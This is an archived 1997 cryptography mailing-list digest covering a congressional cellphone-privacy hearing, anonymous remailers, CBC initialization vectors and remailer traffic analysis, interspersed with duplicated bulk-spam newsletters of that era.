during a February 5 hearing on cellular telephone privacy chaired by Louisiana Republican Billy Tauzin. The House Commerce Subcommittee on Telecommunications, Trade, and Consumer Protection held a hearing titled "Is anybody listening? You betcha." Subcommittee members were shocked, just shocked to learn that, according to a hyper-animated Thomas Wheeler (president of the Cellular Telephone Industry Association), Americans are engaged in "electronic stalking" of cellular telephone users. Further details of CSPAN pandering and Ed Markey's (D-MA) Humpty Dumpty imitation ("words mean whatever I want them to mean") elided. Some notable moments: Representative Cliff Stearns (R-FL), during a discussion about encryption, called PGP "a darn good program." Jay Kitchen, head of the Personal Communications Industry Association, related an (apocryphal?) story about MI5 requiring 2 Crays to run for 3 days to break a single GSM. Jim Kallstrom, Assistant Director FBI and head of the New York field office, woodenly delivered his (IMHO unfocused) testimony and reported that on the first day of the TWA Flight 800 crash investigation he determined that the news media knew more than they should, so he confiscated the cell phones of the FBI agents and locked them away, under the (reasonable) presumption that reporters were listening to FBI cell phone calls. Jimmy also reiterated the FBI line that their new wiretap requirements were reasonable and necessary to protect American citizens from terrorists. Dan dan at decode.com -- cypherp at decode.com (Dan Veeneman) Cryptography, Security, Privacy BBS +1 410 730 6734 Data/FAX From action at answerme.com Fri Feb 7 21:41:05 1997 From: action at answerme.com (action at answerme.com) Date: Fri, 7 Feb 1997 21:41:05 -0800 (PST) Subject: ** THE 30 SECOND COMMUTE ** Message-ID: <199702080541.VAA10377@toad.com> Hello,^Morons, Date: Fri, 7 Feb 1997 23:15:29 -0600 Message-Id: <05152934600809 at sitegen.net> WELCOME TO THE 30 SECOND COMMUTE...45, IF YOU GRAB SOME COFFEE! Let's take a trip back to 1950 and imagine that my name is Ray Crock and I want to tell you about a little restaurant named McDonald's. If you had bought the stock that I was selling then, you'd certainly be doing the 30 second commute now!! Seriously, had you bought that stock then, it would've been the right decision. Fact is, it's 1997, I don't own McDonald's corporation and I'm not selling anything. What I want to know is: 1. Would you spend 3 or 4 minutes a day to make $300 or $400 a week to spend on yourself and family? 2. Would you trade $100 for $600 ? 3. If you got promoted to president of the company, would you accept? 4. Would you make the right decision now, if you had to? 5. Would you e-mail me to see how you can do the 30 second commute? mailto: action at answerme.com Matt Emerson Toll Free: 1 800-976-8608 Fax: 602 641-3514 InterNet Address: http://www.rb-dist.com From stewarts at ix.netcom.com Fri Feb 7 21:44:01 1997 From: stewarts at ix.netcom.com (Bill Stewart) Date: Fri, 7 Feb 1997 21:44:01 -0800 (PST) Subject: lead remailer is shut down In-Reply-To: <199702080056.QAA05146@toad.com> Message-ID: <3.0.1.32.19970207214237.00635e08@popd.ix.netcom.com> Raph's remailer list is at http://www.cs.berkeley.edu/~raph/remailer-list.html and indicates lots of different remailer features, including whether they accept or require PGP, and what reliability they've been getting recently. The remailer that was shut down was the remailer named "lead"; you may have noticed that your reply went to a machine named "zinc"..... At 11:56 PM 2/7/97 +0100, you wrote: >Can anybody give me the address of reliable remailer which accepts >pgp messages. > >BTW which remailer was shut down and why? > > > > > > > # Thanks; Bill # Bill Stewart, +1-415-442-2215 stewarts at ix.netcom.com # You can get PGP outside the US at ftp.ox.ac.uk/pub/crypto/pgp # (If this is a mailing list, please Cc: me on replies. Thanks.) From iang at cs.berkeley.edu Fri Feb 7 21:49:56 1997 From: iang at cs.berkeley.edu (Ian Goldberg) Date: Fri, 7 Feb 1997 21:49:56 -0800 (PST) Subject: 40-bit RC5 crack meaningless? In-Reply-To: <199702071941.LAA29283@toad.com> Message-ID: <5dh45q$mqh@abraham.cs.berkeley.edu> -----BEGIN PGP SIGNED MESSAGE----- In article <199702071941.LAA29283 at toad.com>, Peter Trei wrote: >The purpose of an IV is to make dictionary and replay attacks more >difficult. It is not intended to prevent brute force attacks, and so >is _normally_ included in the clear in communications protocols (for >example, see RFC 1827 for it's clear transmission in IPSEC). If it >is not included, it is effectively part of the keying material, and >thus adds it's bits to the strength of the key. As such, its value >would have to be transmitted and protected as carefully as the rest of >the key. This is a common mistake. Just use the first block of ciphertext as the IV, and start decrypting from the second block. Let's say you discover that key K causes C2,C3,... to decrypt to something intelligible (P2,P3,...), using C1 as the IV. What could P1 have been? Well, we know that (if IV is the _actual_ IV, which you don't know) E_K[IV^P1] = C1, so IV^P1 = D_K[C1]. But we now have what is effectively a one-time pad situation, where P1 is the plaintext, IV is the pad, and D_K[C1] is the ciphertext. Thus, if you don't know the IV in a CBC situation, you can still recover all of the plaintext starting at the second block with the same amount of work it would have taken to have recovered the whole plaintext, given the IV (the IV does not in fact add its bits to the strength of the key), but you learn nothing about the first block (unless something about the protocol gives you a clue based on your knowledge of subsequent blocks). Disclaimer: I've been having a rough week... - Ian -----BEGIN PGP SIGNATURE----- Version: 2.6.2 iQCVAwUBMvwT8kZRiTErSPb1AQEqMgQAoM3TW9xyN47aLt5p8BsYMEvWFa+e7sgt TGZa8DtuPPosciR8J7O2aMbKSvRHoLFFF0bBccC6NSsoVTlBUB2C+gGeMJ4ufk+A PbPMW1z4JvGyeVYtrEKPweetTl5ZprbbLoS778Pwm+9/RpwZte372B7BkgTvQR+H QjXuSmuua9c= =pqWE -----END PGP SIGNATURE----- From freedom at econopromo.com Fri Feb 7 22:05:46 1997 From: freedom at econopromo.com (E-Mail Communications) Date: Fri, 7 Feb 1997 22:05:46 -0800 (PST) Subject: Internet Alert! Pay for local dial-up?? Message-ID: <199702080516.AAA11248@alberta.sallynet.com> ***************************************** INTERNET USERS ALERT!!! It has come to our attention that several local telephone companies have petitioned the FCC for permission to charge Internet Users by the minute for LOCAL dial-up telephone service. This would affect every Internet User, including those using AOL dial-up. For more information, see the FCC site: http://www.fcc.gov/isp.htm. Please send an E-Mail to isp at fcc.gov to express your outrage at the idea of allowing telephone companies to charge by the minute for LOCAL dial-up service. E-Mail comments must be sent by Feb. 13th, 1997. This affects every Internet user!! ******************************************* - FREEDOM NEWSLETTER - Feb. 7th, 1997 ******************************************* We realize that some people prefer not to receive commercial E-Mail. We only want to keep INTERESTED recipients on our list. So... If YOU would rather not receive our mail - HIT REPLY - and type REMOVE in the message and subject area. This is an automated system. You will be removed from all future mail from us. Since this is an automated system, there is no need to say anything else, as nobody but the computer will see it anyway! You will be removed within 24. (You must spell REMOVE correctly!!!) ********************************* ********************************* Standing for FREEDOM, LIBERTY, and AMERICA! We believe in Freedom of the Press and Speech. (These freedoms are essential for the development and growth of the Internet.) See our "Patriotic Quotes That Make Sense" at the end of this publication. Interesting Web Sites of The Week: Citizens Against Government Waste: http://www.Govt-Waste.org/ Lots of FREE Software at: http://tucows.com PLEASE SUPPORT OUR SPONSORS. They are the Entrepreneurs that make the Free Enterprise System of America work. We make it EASY to receive FREE INFORMATION from our sponsors. ************************************ "HIT REPLY" INFORMATION SECTION: ***Send a -seperate- request for each information offer*** For each FREE information document desired, HIT REPLY - and then type the indicated Key Word (s) in the subject -and- message area, and send. That's all you need to do. This automatic system will forward your request to the vendor. The vendor will send you the FREE INFORMATION that you desire. Remember, type the Key Word (s) or it won't work. Nothing else is necessary. (If you misspell the Key Word (s), it won't work!) Please don't "quote back" the ad - - just type the Key Word (s). ************************************* ATTENTION CRUISE LOVERS! If you love Cruise Vacations, you need to subscribe to Cruise News. It's FREE. This E-Mail newsletter will come to your mailbox twice monthly. You will read the latest news from the Cruise Industry, special insider deals, reader contests (win a prize!), funny stories, and more. To subscribe HIT REPLY and type: SUBSCRIBE CRUISE NEWS _______________________________ ATTENTION GOLF LOVERS: Subscribe to Golfers Express! It will come to your E-Mail mailbox twice a month, with exciting new products and services & unusual offers for Golfers Only! Sometimes we feature great golf / vacation offers! It's FREE!! To subscribe - HIT REPLY and type: SUBSCRIBE GOLF _______________________________ ATTENTION BUSINESS OWNERS - RETAIL SALES MANAGERS, PROMOTERS, ETC. Reward your best customers with a deluxe, luxury vacation to Orlando, Florida! With our new Orlando Voucher your customer will receive four days and three nights at the Orlando / Westgate Ramada Inn Resort, (located right at the main gate of Disney World). Included with this voucher are TWO FREE ROUNDS OF GOLF, a $500 Fun Book, and more! Your cost for these exciting vouchers can be as low as $20 each. For complete details, HIT REPLY and type: VOUCHER (Vouchers are for incentive purposes only) _______________________________ Tax Trouble? Have not filed for a while? We will do older returns, federal, any state. Ask us how many years you need to file. Missing Information?? We will get it, talk to collections, do payment plan or offer. http://www.filetax.com . We will help, no guilt, no attitude. Interline Employee?? Check: http:www.filetax.com/flight.html For free Info by E-Mail - HIT REPLY and type: TAX ________________________________ Wouldn't you rather be on a Sea Cruise? Deep Discounted Cruise Vacations to the Caribbean, Alaska, Europe, the Far East and other Exotic Ports of Call. For Free Info, HIT REPLY and type: VACATION ________________________________ "FREE" $400 Bulk E-Mail Software "Explodes Your Business" For FREE Information, HIT REPLY and type: EXPLODE ________________________________ OPPORTUNITY! The Complete Internet Business Starter Kit! FREE Web Page! Information Technology System! FREE DETAILS: HIT REPLY and type: SYSTEM ______________________________ Reach 50,000,000 on the Internet with iMall Classifieds, or Full Color Display Ads. Advertise your product, service, or information on the iMall. Free Bonus with every Homepage. Send for FREE details. AccessMillennium, Inc. (tm) Internet Advertising Consultants For FREE Information - HIT REPLY and type: MALL ________________________________ TRAVEL in style and EARN $$$ as an independent Travel Agent. For FREE Information - HIT REPLY and type: TRAVEL ________________________________ 10 yrs in Europe. NOW in US! Unique weightloss program - Distributors needed. For FREE info - HIT REPLY and type: WEIGHTLOSS ________________________________ EAT CHOCOLATE - LOSE WEIGHT!! Amazing discovery has crowds lining up to enroll - it's a SPONSORING FRENZY! Exclusive patented ingredient in chocolate STOPS food and sweet cravings. Debt free MLM about to EXPLODE!!! For FREE info - HIT REPLY and type: CANDY ________________________________ Did you know that the internet is full of sites that offer FREE stuff? Reply now and get a FREE SAMPLE of one of these sites. For FREE SAMPLE - HIT REPLY and type: STUFF ________________________________ ====KM users, WE GOT IT!!! === World's Best Herbal Tonic got better! ORIGINAL KM chemist makes 20 herb 'BOTANOL" European Potency Standards. Improved flavor! Front Line /w Boreyko ties will help build your $5-20K/mo. income in 3-6 months. Call 602-503-0266 or HIT REPLY and type: KM _________________________________ Fast Cash * Experienced Networkers Only !! Successful business group uses pooled resources to Jump - Start successful networkers in #1 growth MLM. Don't need your $; just your experience & energy. Opportunity of a Lifetime. FAX resume to 602-503-0744 or - HIT REPLY and type: JUMP - Include w/ E-Mail a brief experience biography in message. _________________________________ **Obscene $$ on the INTERNET!! ** $19K per month in 5 months!! Lightning Speed Sales Growth. Really CRANKS!! Success magazine featured, Nov. 96. We train & coach qualified people. No capital investment. Leading products with dynamite marketing system. FREE info pack - HIT REPLY & type: BUNDLES _________________________________ +++ FREE Tape Offer +++ Exposes FDA & Drug Industry control of modern day medicine & gives LIFE SAVING health information. Better than Dead Doctor tape!! For FREE Tape HIT REPLY & type: SECRETS. (be sure to include postal address in message.) __________________________________ ** Could ENNIS COSBY'S DEATH have been PREVENTED? ** Shocking!! Is YOUR FAMILY Safe? Avoid life-threatening situations with these revolutionary auto products. HIT REPLY & type: SAFE __________________________________ >>CONCERNED ABOUT YOUR TICKER? << FREE Audio Tape - Dr. Ruhe tells how the Nation's #1 Killer, heart disease, can be stopped! Your life may depend on this information. To get Tape - HIT REPLY & type: TICKER. (be sure to include postal address) ___________________________________ GET IN TOUCH WITH YOUR LONG LOST FRIEND! MG Services will help you find and reunite with your long lost friend. For a FREE complete list of our services - HIT REPLY & type: UNITE ___________________________________ Make $$$ With Your Home PC. For FREE information - HIT REPLY & type: CASH ___________________________________ Real Home Publishing Business For FREE Information - HIT REPLY & type: PUBLISH ___________________________________ ****FREE Gossip about Movie Stars!! HIT REPLY & type: GOSSIP ___________________________________ *************************************** *************************************** *************************************** REGULAR RESPONSE SECTION: To respond to any of the following announcements, DO NOT HIT REPLY! Rather, follow the instructions in each ad. If sending an email for FREE information, you must create a NEW email and send it to the address in the ad. This is very important! If you hit "reply" for these ads, nothing will happen! You must send a separate request for each information offer. *************************************** *************************************** *************************************** (This is a Fund Raiser, and merits your support) ***SPORTS *** SCORES *** SPREADS *** NHL, NFL, NBA, MLB Sports & Entertainment Information For You!! Stay informed and up to date. Sports Results * Movie Reviews * Financial Updates * Updated Hourly!! 1-900-484-5800 ext. 8109 $2.99 per min. Must be 18 years. (Touch Tone Phone required) The proceeds from your call will be donated to Make - A - Wish Foundation ! (They Grant Wishes to Terminally Ill Children) ______________________________ For God so loved the world, that he gave his only begotten Son, that whosoever believeth in him should not perish, but have everlasting life. -- John 3:16 _____________________________ ***************INSTANT * AIDS * TEST ********************** ** HETERO-SEXUAL * HOMO-SEXUAL * BI-SEXUAL * HYPER-SEXUAL ** ****WHAT YOU NEED TO KNOW * WHEN YOU NEED TO KNOW IT **** HERMETICALLY SEALED PACK OF 5 CREDIT CARD SIZE TESTS $10 TO DR. GREY PALADIN, 637 S. BROADWAY, B-105, BOULDER, CO 80303 ______________________________ Everyone has one! Earn your $$ off them! http://www.drbd.com ______________________________ Go with a proven system! We have 16 yrs experience helping people lose weight & keep it off with all natural, herbal - based products. E-Mail: herbalpc at answerme.com for details ______________________________ ******** TERM LIFE QUOTES ON-LINE ******* Our database shops over 180 insurance companies ... no sales pressure For quotes, visit our web site at ... http://www.hoot.com/insure ______________________________ Ultra tour BALATAS @ 60% off !!! $13.50 per w/3 doz min order. NEW logo'd Balatas 90 & 100 comp. For FREE Info - E-Mail me at JRGOLF at concentric.net ________________________________ MAKE MONEY IN GOLF - Need distributors to handle wholesale clubs, equipment, closeouts, etc., part / full time M/F. E-Mail for information at JRGOLF at concentric.net ________________________________ Own the NEW CAR of your choice for $695 out of pocket cost. For FREE DETAILS, send an E-Mail to our Auto - Responder: newcar at answerme.com ________________________________ Look Great, Feel Great, Lose Weight Go with a proven system! We have 16 yrs experience helping people lose weight & keep it off with all natural, herbal -based products. E-Mail: herbalpc at answerme.com for FREE details. _________________________________ ENCYCLOPEDIA INTERNET! "Everything you want to know but are afraid to ask, or don't know who to ask" For FREE Info - E-Mail autoresponder: request12 at answerme.com put "BIZ12" in E-mail body. _________________________________ Don't Delete until you see the INTERNET'S FIRST SUPER SAVER STORE. FIRE sale pricing. Tons of products. FREE LIFETIME SHOPPING membership for the first few browsers - so surf NOW: http://www.isivn.com use member ID #02172. No Obligation! _________________________________ Great Business Opportunity, Complete Ligitimacy, $65,000 a year. Help others achieve Dreams, Go to: http://www.out.infront.com/Home.Business _________________________________ Lose Weight Yesterday, 100% Guaranteed, Different Plans for your budget. First enter $20,000 contest at: http://out.infront.com/contest *********************************************** ATTENTION ON-LINE ADVERTISERS! BE A SPONSOR AND GET YOUR MESSAGE OUT TO MILLIONS! If you would like to place your message before 1/2 million on-line readers a week, we can do it for you for as little as $10 per line! We mail to different people each week! We will get your message out to millions! We have a very economical plan to give you a real presence on the net. Find out how you can get a FREE week of E-Mail advertising!!! New Feature: " FLAME PROOF ADVERTISING." Get your message out without being bothered by Flames. No more TOS problems, no more warnings from your ISP. We filter out the problems! Call for details. We can also do an "Exclusive" mailing of your letter alone. For the "do-it-your-self" marketer, we can also provide you with your own mailing lists for your own direct E-Mail marketing. For full details, call our office @ 919-772-8855 9-5 Eastern Time - OR - HIT REPLY and type - ADINFO - in the message area. Our Auto-Responder will send you rates and ordering details. FREEDOM NEWSLETTER E-Mail Communications / Econo Promotions *********************************************** Quotes that make sense: "We tried to provide more for the poor and produced more poor instead. We tried to remove the barriers to escape poverty, and inadvertently built a trap" --Charles Murray "Character is doing what's right when nobody's watching" --Congressman J.C. Watts "The point to remember is that what the government gives, it must first take away." -- John S. Coleman "We will always remember. We will always be proud. We will always be prepared, so we may always be free." -- President Ronald W. Reagan June 6, 1984 - Normandy, France "Blessed is the Nation whose God is the Lord" -- Psalms 33:12 ***************************** From stewarts at ix.netcom.com Fri Feb 7 22:25:50 1997 From: stewarts at ix.netcom.com (Bill Stewart) Date: Fri, 7 Feb 1997 22:25:50 -0800 (PST) Subject: lead remailer is shut down Message-ID: <199702080625.WAA11233@toad.com> Raph's remailer list is at http://www.cs.berkeley.edu/~raph/remailer-list.html and indicates lots of different remailer features, including whether they accept or require PGP, and what reliability they've been getting recently. The remailer that was shut down was the remailer named "lead"; you may have noticed that your reply went to a machine named "zinc"..... At 11:56 PM 2/7/97 +0100, you wrote: >Can anybody give me the address of reliable remailer which accepts >pgp messages. > >BTW which remailer was shut down and why? > > > > > > > # Thanks; Bill # Bill Stewart, +1-415-442-2215 stewarts at ix.netcom.com # You can get PGP outside the US at ftp.ox.ac.uk/pub/crypto/pgp # (If this is a mailing list, please Cc: me on replies. Thanks.) From iang at cs.berkeley.edu Fri Feb 7 22:40:52 1997 From: iang at cs.berkeley.edu (Ian Goldberg) Date: Fri, 7 Feb 1997 22:40:52 -0800 (PST) Subject: 40-bit RC5 crack meaningless? Message-ID: <199702080640.WAA11471@toad.com> -----BEGIN PGP SIGNED MESSAGE----- In article <199702071941.LAA29283 at toad.com>, Peter Trei wrote: >The purpose of an IV is to make dictionary and replay attacks more >difficult. It is not intended to prevent brute force attacks, and so >is _normally_ included in the clear in communications protocols (for >example, see RFC 1827 for it's clear transmission in IPSEC). If it >is not included, it is effectively part of the keying material, and >thus adds it's bits to the strength of the key. As such, its value >would have to be transmitted and protected as carefully as the rest of >the key. This is a common mistake. Just use the first block of ciphertext as the IV, and start decrypting from the second block. Let's say you discover that key K causes C2,C3,... to decrypt to something intelligible (P2,P3,...), using C1 as the IV. What could P1 have been? Well, we know that (if IV is the _actual_ IV, which you don't know) E_K[IV^P1] = C1, so IV^P1 = D_K[C1]. But we now have what is effectively a one-time pad situation, where P1 is the plaintext, IV is the pad, and D_K[C1] is the ciphertext. Thus, if you don't know the IV in a CBC situation, you can still recover all of the plaintext starting at the second block with the same amount of work it would have taken to have recovered the whole plaintext, given the IV (the IV does not in fact add its bits to the strength of the key), but you learn nothing about the first block (unless something about the protocol gives you a clue based on your knowledge of subsequent blocks). Disclaimer: I've been having a rough week... - Ian -----BEGIN PGP SIGNATURE----- Version: 2.6.2 iQCVAwUBMvwT8kZRiTErSPb1AQEqMgQAoM3TW9xyN47aLt5p8BsYMEvWFa+e7sgt TGZa8DtuPPosciR8J7O2aMbKSvRHoLFFF0bBccC6NSsoVTlBUB2C+gGeMJ4ufk+A PbPMW1z4JvGyeVYtrEKPweetTl5ZprbbLoS778Pwm+9/RpwZte372B7BkgTvQR+H QjXuSmuua9c= =pqWE -----END PGP SIGNATURE----- From freedom at econopromo.com Fri Feb 7 22:40:58 1997 From: freedom at econopromo.com (E-Mail Communications) Date: Fri, 7 Feb 1997 22:40:58 -0800 (PST) Subject: Internet Alert! Pay for local dial-up?? Message-ID: <199702080640.WAA11479@toad.com> ***************************************** INTERNET USERS ALERT!!! It has come to our attention that several local telephone companies have petitioned the FCC for permission to charge Internet Users by the minute for LOCAL dial-up telephone service. This would affect every Internet User, including those using AOL dial-up. For more information, see the FCC site: http://www.fcc.gov/isp.htm. Please send an E-Mail to isp at fcc.gov to express your outrage at the idea of allowing telephone companies to charge by the minute for LOCAL dial-up service. E-Mail comments must be sent by Feb. 13th, 1997. This affects every Internet user!! ******************************************* - FREEDOM NEWSLETTER - Feb. 7th, 1997 ******************************************* We realize that some people prefer not to receive commercial E-Mail. We only want to keep INTERESTED recipients on our list. So... If YOU would rather not receive our mail - HIT REPLY - and type REMOVE in the message and subject area. This is an automated system. You will be removed from all future mail from us. Since this is an automated system, there is no need to say anything else, as nobody but the computer will see it anyway! You will be removed within 24. (You must spell REMOVE correctly!!!) ********************************* ********************************* Standing for FREEDOM, LIBERTY, and AMERICA! We believe in Freedom of the Press and Speech. (These freedoms are essential for the development and growth of the Internet.) See our "Patriotic Quotes That Make Sense" at the end of this publication. Interesting Web Sites of The Week: Citizens Against Government Waste: http://www.Govt-Waste.org/ Lots of FREE Software at: http://tucows.com PLEASE SUPPORT OUR SPONSORS. They are the Entrepreneurs that make the Free Enterprise System of America work. We make it EASY to receive FREE INFORMATION from our sponsors. ************************************ "HIT REPLY" INFORMATION SECTION: ***Send a -seperate- request for each information offer*** For each FREE information document desired, HIT REPLY - and then type the indicated Key Word (s) in the subject -and- message area, and send. That's all you need to do. This automatic system will forward your request to the vendor. The vendor will send you the FREE INFORMATION that you desire. Remember, type the Key Word (s) or it won't work. Nothing else is necessary. (If you misspell the Key Word (s), it won't work!) Please don't "quote back" the ad - - just type the Key Word (s). ************************************* ATTENTION CRUISE LOVERS! If you love Cruise Vacations, you need to subscribe to Cruise News. It's FREE. This E-Mail newsletter will come to your mailbox twice monthly. You will read the latest news from the Cruise Industry, special insider deals, reader contests (win a prize!), funny stories, and more. To subscribe HIT REPLY and type: SUBSCRIBE CRUISE NEWS _______________________________ ATTENTION GOLF LOVERS: Subscribe to Golfers Express! It will come to your E-Mail mailbox twice a month, with exciting new products and services & unusual offers for Golfers Only! Sometimes we feature great golf / vacation offers! It's FREE!! To subscribe - HIT REPLY and type: SUBSCRIBE GOLF _______________________________ ATTENTION BUSINESS OWNERS - RETAIL SALES MANAGERS, PROMOTERS, ETC. Reward your best customers with a deluxe, luxury vacation to Orlando, Florida! With our new Orlando Voucher your customer will receive four days and three nights at the Orlando / Westgate Ramada Inn Resort, (located right at the main gate of Disney World). Included with this voucher are TWO FREE ROUNDS OF GOLF, a $500 Fun Book, and more! Your cost for these exciting vouchers can be as low as $20 each. For complete details, HIT REPLY and type: VOUCHER (Vouchers are for incentive purposes only) _______________________________ Tax Trouble? Have not filed for a while? We will do older returns, federal, any state. Ask us how many years you need to file. Missing Information?? We will get it, talk to collections, do payment plan or offer. http://www.filetax.com . We will help, no guilt, no attitude. Interline Employee?? Check: http:www.filetax.com/flight.html For free Info by E-Mail - HIT REPLY and type: TAX ________________________________ Wouldn't you rather be on a Sea Cruise? Deep Discounted Cruise Vacations to the Caribbean, Alaska, Europe, the Far East and other Exotic Ports of Call. For Free Info, HIT REPLY and type: VACATION ________________________________ "FREE" $400 Bulk E-Mail Software "Explodes Your Business" For FREE Information, HIT REPLY and type: EXPLODE ________________________________ OPPORTUNITY! The Complete Internet Business Starter Kit! FREE Web Page! Information Technology System! FREE DETAILS: HIT REPLY and type: SYSTEM ______________________________ Reach 50,000,000 on the Internet with iMall Classifieds, or Full Color Display Ads. Advertise your product, service, or information on the iMall. Free Bonus with every Homepage. Send for FREE details. AccessMillennium, Inc. (tm) Internet Advertising Consultants For FREE Information - HIT REPLY and type: MALL ________________________________ TRAVEL in style and EARN $$$ as an independent Travel Agent. For FREE Information - HIT REPLY and type: TRAVEL ________________________________ 10 yrs in Europe. NOW in US! Unique weightloss program - Distributors needed. For FREE info - HIT REPLY and type: WEIGHTLOSS ________________________________ EAT CHOCOLATE - LOSE WEIGHT!! Amazing discovery has crowds lining up to enroll - it's a SPONSORING FRENZY! Exclusive patented ingredient in chocolate STOPS food and sweet cravings. Debt free MLM about to EXPLODE!!! For FREE info - HIT REPLY and type: CANDY ________________________________ Did you know that the internet is full of sites that offer FREE stuff? Reply now and get a FREE SAMPLE of one of these sites. For FREE SAMPLE - HIT REPLY and type: STUFF ________________________________ ====KM users, WE GOT IT!!! === World's Best Herbal Tonic got better! ORIGINAL KM chemist makes 20 herb 'BOTANOL" European Potency Standards. Improved flavor! Front Line /w Boreyko ties will help build your $5-20K/mo. income in 3-6 months. Call 602-503-0266 or HIT REPLY and type: KM _________________________________ Fast Cash * Experienced Networkers Only !! Successful business group uses pooled resources to Jump - Start successful networkers in #1 growth MLM. Don't need your $; just your experience & energy. Opportunity of a Lifetime. FAX resume to 602-503-0744 or - HIT REPLY and type: JUMP - Include w/ E-Mail a brief experience biography in message. _________________________________ **Obscene $$ on the INTERNET!! ** $19K per month in 5 months!! Lightning Speed Sales Growth. Really CRANKS!! Success magazine featured, Nov. 96. We train & coach qualified people. No capital investment. Leading products with dynamite marketing system. FREE info pack - HIT REPLY & type: BUNDLES _________________________________ +++ FREE Tape Offer +++ Exposes FDA & Drug Industry control of modern day medicine & gives LIFE SAVING health information. Better than Dead Doctor tape!! For FREE Tape HIT REPLY & type: SECRETS. (be sure to include postal address in message.) __________________________________ ** Could ENNIS COSBY'S DEATH have been PREVENTED? ** Shocking!! Is YOUR FAMILY Safe? Avoid life-threatening situations with these revolutionary auto products. HIT REPLY & type: SAFE __________________________________ >>CONCERNED ABOUT YOUR TICKER? << FREE Audio Tape - Dr. Ruhe tells how the Nation's #1 Killer, heart disease, can be stopped! Your life may depend on this information. To get Tape - HIT REPLY & type: TICKER. (be sure to include postal address) ___________________________________ GET IN TOUCH WITH YOUR LONG LOST FRIEND! MG Services will help you find and reunite with your long lost friend. For a FREE complete list of our services - HIT REPLY & type: UNITE ___________________________________ Make $$$ With Your Home PC. For FREE information - HIT REPLY & type: CASH ___________________________________ Real Home Publishing Business For FREE Information - HIT REPLY & type: PUBLISH ___________________________________ ****FREE Gossip about Movie Stars!! HIT REPLY & type: GOSSIP ___________________________________ *************************************** *************************************** *************************************** REGULAR RESPONSE SECTION: To respond to any of the following announcements, DO NOT HIT REPLY! Rather, follow the instructions in each ad. If sending an email for FREE information, you must create a NEW email and send it to the address in the ad. This is very important! If you hit "reply" for these ads, nothing will happen! You must send a separate request for each information offer. *************************************** *************************************** *************************************** (This is a Fund Raiser, and merits your support) ***SPORTS *** SCORES *** SPREADS *** NHL, NFL, NBA, MLB Sports & Entertainment Information For You!! Stay informed and up to date. Sports Results * Movie Reviews * Financial Updates * Updated Hourly!! 1-900-484-5800 ext. 8109 $2.99 per min. Must be 18 years. (Touch Tone Phone required) The proceeds from your call will be donated to Make - A - Wish Foundation ! (They Grant Wishes to Terminally Ill Children) ______________________________ For God so loved the world, that he gave his only begotten Son, that whosoever believeth in him should not perish, but have everlasting life. -- John 3:16 _____________________________ ***************INSTANT * AIDS * TEST ********************** ** HETERO-SEXUAL * HOMO-SEXUAL * BI-SEXUAL * HYPER-SEXUAL ** ****WHAT YOU NEED TO KNOW * WHEN YOU NEED TO KNOW IT **** HERMETICALLY SEALED PACK OF 5 CREDIT CARD SIZE TESTS $10 TO DR. GREY PALADIN, 637 S. BROADWAY, B-105, BOULDER, CO 80303 ______________________________ Everyone has one! Earn your $$ off them! http://www.drbd.com ______________________________ Go with a proven system! We have 16 yrs experience helping people lose weight & keep it off with all natural, herbal - based products. E-Mail: herbalpc at answerme.com for details ______________________________ ******** TERM LIFE QUOTES ON-LINE ******* Our database shops over 180 insurance companies ... no sales pressure For quotes, visit our web site at ... http://www.hoot.com/insure ______________________________ Ultra tour BALATAS @ 60% off !!! $13.50 per w/3 doz min order. NEW logo'd Balatas 90 & 100 comp. For FREE Info - E-Mail me at JRGOLF at concentric.net ________________________________ MAKE MONEY IN GOLF - Need distributors to handle wholesale clubs, equipment, closeouts, etc., part / full time M/F. E-Mail for information at JRGOLF at concentric.net ________________________________ Own the NEW CAR of your choice for $695 out of pocket cost. For FREE DETAILS, send an E-Mail to our Auto - Responder: newcar at answerme.com ________________________________ Look Great, Feel Great, Lose Weight Go with a proven system! We have 16 yrs experience helping people lose weight & keep it off with all natural, herbal -based products. E-Mail: herbalpc at answerme.com for FREE details. _________________________________ ENCYCLOPEDIA INTERNET! "Everything you want to know but are afraid to ask, or don't know who to ask" For FREE Info - E-Mail autoresponder: request12 at answerme.com put "BIZ12" in E-mail body. _________________________________ Don't Delete until you see the INTERNET'S FIRST SUPER SAVER STORE. FIRE sale pricing. Tons of products. FREE LIFETIME SHOPPING membership for the first few browsers - so surf NOW: http://www.isivn.com use member ID #02172. No Obligation! _________________________________ Great Business Opportunity, Complete Ligitimacy, $65,000 a year. Help others achieve Dreams, Go to: http://www.out.infront.com/Home.Business _________________________________ Lose Weight Yesterday, 100% Guaranteed, Different Plans for your budget. First enter $20,000 contest at: http://out.infront.com/contest *********************************************** ATTENTION ON-LINE ADVERTISERS! BE A SPONSOR AND GET YOUR MESSAGE OUT TO MILLIONS! If you would like to place your message before 1/2 million on-line readers a week, we can do it for you for as little as $10 per line! We mail to different people each week! We will get your message out to millions! We have a very economical plan to give you a real presence on the net. Find out how you can get a FREE week of E-Mail advertising!!! New Feature: " FLAME PROOF ADVERTISING." Get your message out without being bothered by Flames. No more TOS problems, no more warnings from your ISP. We filter out the problems! Call for details. We can also do an "Exclusive" mailing of your letter alone. For the "do-it-your-self" marketer, we can also provide you with your own mailing lists for your own direct E-Mail marketing. For full details, call our office @ 919-772-8855 9-5 Eastern Time - OR - HIT REPLY and type - ADINFO - in the message area. Our Auto-Responder will send you rates and ordering details. FREEDOM NEWSLETTER E-Mail Communications / Econo Promotions *********************************************** Quotes that make sense: "We tried to provide more for the poor and produced more poor instead. We tried to remove the barriers to escape poverty, and inadvertently built a trap" --Charles Murray "Character is doing what's right when nobody's watching" --Congressman J.C. Watts "The point to remember is that what the government gives, it must first take away." -- John S. Coleman "We will always remember. We will always be proud. We will always be prepared, so we may always be free." -- President Ronald W. Reagan June 6, 1984 - Normandy, France "Blessed is the Nation whose God is the Lord" -- Psalms 33:12 ***************************** From jer+ at andrew.cmu.edu Fri Feb 7 23:59:31 1997 From: jer+ at andrew.cmu.edu (Jeremiah A Blatz) Date: Fri, 7 Feb 1997 23:59:31 -0800 (PST) Subject: anonymous remailers In-Reply-To: <199702062301.PAA02208@toad.com> Message-ID: <0mz38b200YUh0Qosg0@andrew.cmu.edu> -----BEGIN PGP SIGNED MESSAGE----- Andrew Loewenstern writes: > Charley Musselman writes: > > Does anyone know the answer? Specifically, how can we choose > > a trusted remailer? > > The answer is to run your own remailer. Make sure your chain includes your > remailer at least once. If you can't trust yourself, who can you trust? Ummm, if you run your own remailer, and don't get lots of people to use it, then traffic analysis will reveal that you are the sender quite quickly. It will pretty much make everything in the chain before your remiler useless. If you send your message through remailers a, b, c, and d like this: you -> a -> b -> c -> d -> alt.drugs.and-other-various-horsemen and only you use c, then your effective chain is: someone who could only be you -> d 